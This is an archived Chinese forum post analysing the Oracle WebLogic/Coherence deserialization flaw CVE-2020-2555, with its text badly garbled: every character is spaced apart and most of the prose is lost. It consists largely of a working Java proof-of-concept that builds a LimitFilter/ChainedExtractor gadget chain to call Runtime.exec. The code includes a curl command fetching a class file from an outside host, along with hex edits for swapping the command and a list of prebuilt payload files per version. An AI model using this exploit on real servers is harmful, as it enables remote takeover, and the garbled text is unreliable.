[26977] 2020-05-01_漫谈-Weblogic-CVE-2020-2555

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-19
2020-05-01_漫谈-Weblogic-CVE-2020-2555 - W e b l o g i c - C V E - 2 0 2 0 - 2 5 5 5 r 4 v 3 z n   M s 0 8 0 6 7   2 0 2 0 - 0 5 - 0 1           2 0 2 0 1 w e b l o g i c C V E - 2 0 2 0 - 2 5 5 5 O r a c l e   F u s i o n O r a c l e   C o h e r e n c e T 3 w e b l o g i c                 p o c p o c 1 p o c j a v a 2 p o c w e b l o g i c O r a c l e   C o h e r e n c e   3 . 7 . 1 . 1 7 O r a c l e   C o h e r e n c e   &   W e b l o g i c   1 2 . 1 . 3 . 0 . 0 O r a c l e   C o h e r e n c e   &   W e b l o g i c   1 2 . 2 . 1 . 3 . 0 O r a c l e   C o h e r e n c e   &   W e b l o g i c   1 2 . 2 . 1 . 4 . 0   W e b l o g i c   1 0 . 3 . 6 . 0     C o h e r e n c e 3 . 7   C o h e r e n c e   W e b l o g i c   1 0 . 3 . 6 . 0   1 .     P O C     w e b l o g i c     J D K   2 .     W e b l o g i c   1 2 . 1 . 3                             u s e r _ p r o j e c t / d o m a i n s / b i n s e t D o m a i n E n v . c m d s e t D o m a i n E n v . s h i f   % d e b u g F l a g   = =   " f a l s e " % s e t   d e b u g F l a g = t r u e O r a c l e _ H o m e c o h e r e n c e l i b L i b r a r i e s
      i p         I P             R e m o t e s e t   d e b u g F l a g = t r u e 8 4 5 3 c o m . t a n g o s o l . u t i l . f i l t e r . L i m i t F i l t e r # t o S t r i n g m _ c o m p a r a t o r
        y s o s e r i a l     C o m m o n s C o l l e c t i o n s 5     P O C                 m _ o A n c h o r T o p G a d g e t   c h a i n :                 O b j e c t I n p u t S t r e a m . r e a d O b j e c t ( )                         B a d A t t r i b u t e V a l u e E x p E x c e p t i o n . r e a d O b j e c t ( )                                 L i m i t F i l t e r . t o S t r i n g ( )                                         C h a i n e d E x t r a c t o r . e x t r a c t ( )                                                         R e f l e c t i o n E x t r a c t o r . e x t r a c t ( )                                                                 M e t h o d . i n v o k e ( )                                                                         C l a s s . g e t M e t h o d ( )                                                         R e f l e c t i o n E x t r a c t o r . e x t r a c t ( )                                                                 M e t h o d . i n v o k e ( )                                                                         R u n t i m e . g e t R u n t i m e ( )                                                         R e f l e c t i o n E x t r a c t o r . e x t r a c t ( )                                                                 M e t h o d . i n v o k e ( )                                                                         R u n t i m e . e x e c ( ) p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   I O E x c e p t i o n ,   C l a s s N o t F o u n d E x c e p t i o n ,   N o S u c h F i e l d E x c e p t i o n ,   I l l e g a l A c c e s s E x c e p t i o n   {                 S t r i n g   c m d   =   " c u r l   h t t p : / / 1 0 . 1 0 . 1 0 . 1 7 2 : 9 9 9 9 / P o c . c l a s s " ;                 c m d   =   " c a l c " ;                 V a l u e E x t r a c t o r [ ]   v a l u e E x t r a c t o r s   =   n e w   V a l u e E x t r a c t o r [ ] {                                 n e w   R e f l e c t i o n E x t r a c t o r ( " g e t M e t h o d " ,   n e w   O b j e c t [ ] {                                                 " g e t R u n t i m e " ,   n e w   C l a s s [ 0 ]                                 } ) ,                                 n e w   R e f l e c t i o n E x t r a c t o r ( " i n v o k e " ,   n e w   O b j e c t [ ] { n u l l ,   n e w   O b j e c t [ 0 ] } ) ,                                 n e w   R e f l e c t i o n E x t r a c t o r ( " e x e c " ,   n e w   O b j e c t [ ] { n e w   S t r i n g [ ] { " c m d " ,   " / c " ,   c m d } } ) / /                                 n e w   R e f l e c t i o n E x t r a c t o r ( " e x e c " ,   n e w   O b j e c t [ ] { n e w   S t r i n g [ ] { " / b i n / b a s h " , " - c " ,   c m d } } )                 } ;                 / /   c h a i n                 L i m i t F i l t e r   l i m i t F i l t e r   =   n e w   L i m i t F i l t e r ( ) ;                 l i m i t F i l t e r . s e t T o p A n c h o r ( R u n t i m e . c l a s s ) ;                 B a d A t t r i b u t e V a l u e E x p E x c e p t i o n   e x p E x c e p t i o n   =   n e w   B a d A t t r i b u t e V a l u e E x p E x c e p t i o n ( n u l l ) ;                 F i e l d   m _ c o m p a r a t o r   =   l i m i t F i l t e r . g e t C l a s s ( ) . g e t D e c l a r e d F i e l d ( " m _ c o m p a r a t o r " ) ;                 m _ c o m p a r a t o r . s e t A c c e s s i b l e ( t r u e ) ;                 m _ c o m p a r a t o r . s e t ( l i m i t F i l t e r ,   n e w   C h a i n e d E x t r a c t o r ( v a l u e E x t r a c t o r s ) ) ;                 F i e l d   m _ o A n c h o r T o p   =   l i m i t F i l t e r . g e t C l a s s ( ) . g e t D e c l a r e d F i e l d ( " m _ o A n c h o r T o p " ) ;                 m _ o A n c h o r T o p . s e t A c c e s s i b l e ( t r u e ) ;                 m _ o A n c h o r T o p . s e t ( l i m i t F i l t e r ,   R u n t i m e . c l a s s ) ;                 F i e l d   v a l   =   e x p E x c e p t i o n . g e t C l a s s ( ) . g e t D e c l a r e d F i e l d ( " v a l " ) ;                 v a l . s e t A c c e s s i b l e ( t r u e ) ;                 v a l . s e t ( e x p E x c e p t i o n ,   l i m i t F i l t e r ) ;                 O b j e c t O u t p u t S t r e a m   o b j e c t O u t p u t S t r e a m   =   n e w   O b j e c t O u t p u t S t r e a m ( n e w   F i l e O u t p u t S t r e a m ( " / U s e r s / 0 n i s e / I d e a P r o j e c t s / v u l d e b u g / c v e - 2 0 2 0 - 2 5 5 5 / s r c / m a i n / j a v a / 1 2 2 1 3 0 _ l i n u x _ c a l c . 6 6 6 " ) ) ;                 o b j e c t O u t p u t S t r e a m . w r i t e O b j e c t ( e x p E x c e p t i o n ) ;                 o b j e c t O u t p u t S t r e a m . c l o s e ( ) ;         } c o m . t a n g o s o l . u t i l . f i l t e r . L i m i t F i l t e r # t o S t r i n g m _ o A n c h o r T o p c l a s s s   j a v a . l a n g . R u n t i m e m _ c o m p a r a t o r
                                      V a l u e E x t r a c t o r C h a i n e d E x t r a c t o r e x t r a c t o r . e x t r a c t c o m . t a n g o s o l . u t i l . e x t r a c t o r . C h a i n e d E x t r a c t o r # e x t r a c t a E x t r a c t o r [ i ] . e x t r a c t ( o T a r g e t ) o T a r g e t c l a s s   j a v a . l a n g . R u n t i m e a E x t r a c t o r [ i ] . e x t r a c t ( o T a r g e t ) c o m . t a n g o s o l . u t i l . e x t r a c t o r . R e f l e c t i o n E x t r a c t o r # e x t r a c t m e t h o d . i n v o k e
                                    j a v a . l a n g . R u n t i m e . g e t R u n t i m e r e t u r n j a v a . l a n g . R u n t i m e j a v a . l a n g . R u n t i m e . c l a s s . g e t M e t h o d ( " g e t R u n t i m e " , n e w   C l a s s [ 0 ] ) ; j a v a . l a n g . R u n t i m e . g e t R u n t i m e j a v a . l a n g . R u n t i m e o T a r g e t m e t h o d . i n v o k e i n v o k e j a v a . l a n g . R u n t i m e . c l a s s . g e t M e t h o d ( " g e t R u n t i m e " , n e w   C l a s s [ 0 ] ) . i n v o k e ( n u l l ,   n e w   O b j e c t [ 0 ] ) j a v a . l a n g . R u n t i m e r e t u r n
        j a v a . l a n g . R u n t i m e . e x e c r u n t i m e . e x e c ( n e w   S t r i n g [ ] { " c m d " ,   " / c " ,   " n o t e p a d " } )
w e b l o g i c   1 0 . 3 . 6 w e b l o g i c   1 0 . 3 . 6     c o h e r e n c e _ 3 . 7     D e b u g     w e b l o g i c   1 0 . 3 . 6     c o h e r e n c e _ 3 . 7     w e b l o g i c   1 0 . 3 . 6     c o h e r e n c e _ 3 . 7         c o h e r e n c e   3 . 7     w e b l o g i c   1 0 . 3 . 6     P O C     P O C     j a v a     y s o s e r i a l   使   P O C   c o m . t a n g o s o l . u t i l . f i l t e r . L i m i t F i l t e r # t o S t r i n g
              w e b l o g i c           1 6     2         +     H e x     +   (   7 0   w e b l o g i c   1 2 . 2 . 1 . 3 . 0     )   + 7 4       w e b l o g i c   1 2 . 2 . 1 . 3 . 0   7 0       w e b l o g i c   1 2 . 2 . 1 . 3 . 0   7 0   1 3   5 B   4 C   6 A   6 1   7 6   6 1   2 E   6 C   6 1   6 E   6 7   2 E   5 3   7 4   7 2   6 9   6 E   6 7   3 B   A D   D 2   5 6   E 7   E 9   1 D   7 B   4 7   0 2   0 0   0 0   7 8   7 0   0 0   0 0   0 0   0 3   7 4   0 0 0 0   0 4   6 5   7 8   6 5   6 3   7 0   7 0   7 6   7 2   0 0   1 1   6 A   6 1   7 6   6 1   2 E   6 C   6 1   6 E   6 7   2 E   5 2   7 5   6 E   7 4   6 9   6 D   6 5   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   7 8   7 0 n e w   S t r i n g [ ] { " c m d " ,   " / c " ,   " n o t e p a d " } n e w   S t r i n g [ ] { " c m d " ,   " / c " ,   " c a l c " } c o h e r e n c e . j a r p a y l o a d 0 n e w   S t r i n g [ ] { " c m d " ,   " / c " ,   " n o t e p a d " } 0 0   0 3   6 3   6 D   6 4   7 4   0 0   0 2   2 F   6 3   7 4   0 0   0 7   6 E   6 F   7 4   6 5   7 0   6 1   6 4     7 0   7 4 0 0   0 3     =   " c m d " . l e n g t h ( ) 6 3   6 D   6 4   =   " c m d " 7 4 0 0   0 2   =   " / c " . l e n g t h ( )   2 F   6 3   =   " / c " 7 4 0 0   0 7   =   " n o t e p a d " . l e n g t h ( ) 6 E   6 F   7 4   6 5   7 0   6 1   6 4   =   " n o t e p a d " 7 0 7 4 n e w   S t r i n g [ ] { " c m d " ,   " / c " ,   " c a l c " } 0 0   0 3   6 3   6 D   6 4   7 4   0 0   0 2   2 F   6 3   7 4   0 0   0 4   6 3   6 1   6 C   6 3   7 0   7 4 0 0   0 3     =   " c m d " . l e n g t h ( ) 6 3   6 D   6 4   =   " c m d " 7 4 0 0   0 2   =   " / c " . l e n g t h ( )   2 F   6 3   =   " / c " 7 4 0 0   0 4   =   " c a l c " . l e n g t h ( ) 6 3   6 1   6 C   6 3     =   " c a l c " 7 0 7 4
使   P O C     C V E - 2 0 2 0 - 2 5 5 5     1 2 . 1 . 3 . 0 . 0 1 2 1 3 0 0 _ c a l c . 6 6 6 c a l c W i n d o w s 1 2 . 1 . 3 . 0 . 0 1 2 1 3 0 0 _ n o t e p a d . 6 6 6 n o t e p a d W i n d o w s 1 2 . 1 . 3 . 0 . 0 1 2 1 3 0 0 _ p i n g . 6 6 6 p i n g W i n d o w s 1 2 . 1 . 3 . 0 . 0 1 2 1 3 0 0 . 6 6 6 c a l c W i n d o w s 1 2 . 2 . 1 . 3 . 0 1 2 2 1 3 0 _ c a l c . 6 6 6 c a l c W i n d o w s 1 2 . 2 . 1 . 3 . 0 1 2 2 1 3 0 _ l i n u x _ c a l c . 6 6 6 c a l c L i n u x 1 2 . 2 . 1 . 3 . 0 1 2 2 1 3 0 _ l i n u x _ c u r l . 6 6 6 c u r l L i n u x 1 2 . 2 . 1 . 3 . 0 1 2 2 1 3 0 _ n o t e p a d . 6 6 6 n o t e p a d W i n d o w s 1 2 . 2 . 1 . 3 . 0 1 2 2 1 3 0 . 6 6 6 c a l c W i n d o w s 1 2 . 2 . 1 . 4 . 0 1 2 2 1 4 0 _ c a l c . 6 6 6 c a l c W i n d o w s 1 2 . 2 . 1 . 4 . 0 1 2 2 1 4 0 _ l i n u x _ c a l c . 6 6 6 c a l c L i n u x 1 2 . 2 . 1 . 4 . 0 1 2 2 1 4 0 _ l i n u x _ c u r l . 6 6 6 c u r l L i n u x 1 2 . 2 . 1 . 4 . 0 1 2 2 1 4 0 _ n o t e p a d . 6 6 6 n o t e p a d W i n d o w s 1 2 . 2 . 1 . 4 . 0 1 2 2 1 4 0 . 6 6 6 c a l c W i n d o w s C o h e r e n c e     C o h e r e n c e   p o c   1 2 . 1 . 3 . 0 . 0 1 2 . 1 . 3 . 0 . 0 1 2 . 1 . 3 . 0 . 0 1 2 . 2 . 1 . 3 . 0 1 2 . 1 . 3 . 0 . 0 1 2 . 2 . 1 . 4 . 0 1 2 . 2 . 1 . 3 . 0 1 2 . 1 . 3 . 0 . 0 1 2 . 2 . 1 . 3 . 0 1 2 . 2 . 1 . 3 . 0 1 2 . 2 . 1 . 3 . 0 1 2 . 2 . 1 . 4 . 0 1 2 . 2 . 1 . 4 . 0 1 2 . 1 . 3 . 0 . 0 1 2 . 2 . 1 . 4 . 0 1 2 . 2 . 1 . 3 . 0 1 2 . 2 . 1 . 4 . 0 1 2 . 2 . 1 . 4 . 0   P O C     w e b l o g i c     w e b l o g i c   W e b l o g i c     2 0 2 0     3     4     O r a c l e     w e b l o g i c   M D 5 M D 5 f m w _ 1 2 . 1 . 3 . 0 . 0 _ w l s . j a r 8 3 7 8 F E 9 3 6 B 4 7 6 A 6 F 4 C A 5 E F A 4 6 5 A 4 3 5 E 3 2 0 2 0 - 0 3 - 0 4 f m w _ 1 2 . 2 . 1 . 3 . 0 _ w l s . j a r 6 E 7 1 0 5 5 2 1 0 2 9 0 5 8 A D 6 4 A 5 C 6 1 9 8 D B 0 9 F 7 2 0 1 7 - 0 8 - 2 1 f m w _ 1 2 . 2 . 1 . 4 . 0 _ w l s . j a r A A 0 9 0 7 1 2 0 6 9 6 8 4 9 9 1 B A 2 7 E 4 D E 9 E D 3 F F 6 2 0 1 9 - 0 9 - 1 3 c o h e r e n c e . j a r ( 1 2 . 1 . 3 . 0 . 0 ) E 8 0 7 E 8 4 D 3 5 2 3 7 4 E 3 3 D 0 E 2 A 8 C C 6 4 9 5 3 4 A 2 0 1 4 - 0 5 - 1 4 c o h e r e n c e . j a r ( 1 2 . 2 . 1 . 3 . 0 ) 2 3 0 2 E 4 0 8 B C A 7 C 6 A 8 2 0 8 1 A 2 0 C E 0 8 1 1 B 0 E 2 0 1 7 - 0 8 - 1 5 c o h e r e n c e . j a r ( 1 2 . 2 . 1 . 4 . 0 ) B 2 8 E E 4 6 B 9 B 9 B D 5 C 2 4 D F 3 B F E E 1 0 0 7 5 B A 4 2 0 1 9 - 0 9 - 1 2   w e b l o g i c   1 .     w e b l o g i c   T 3   2 .     O r a c l e   f i l e
C V E - 2 0 2 0 - 2 5 5 5 W e b L o g i c C V E - 2 0 2 0 - 2 5 5 5 :   R C E   T H R O U G H   A   D E S E R I A L I Z A T I O N   B U G   I N   O R A C L E S   W E B L O G I C   S E R V E R J a v a                                                                     2 0 0 0 0 +
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则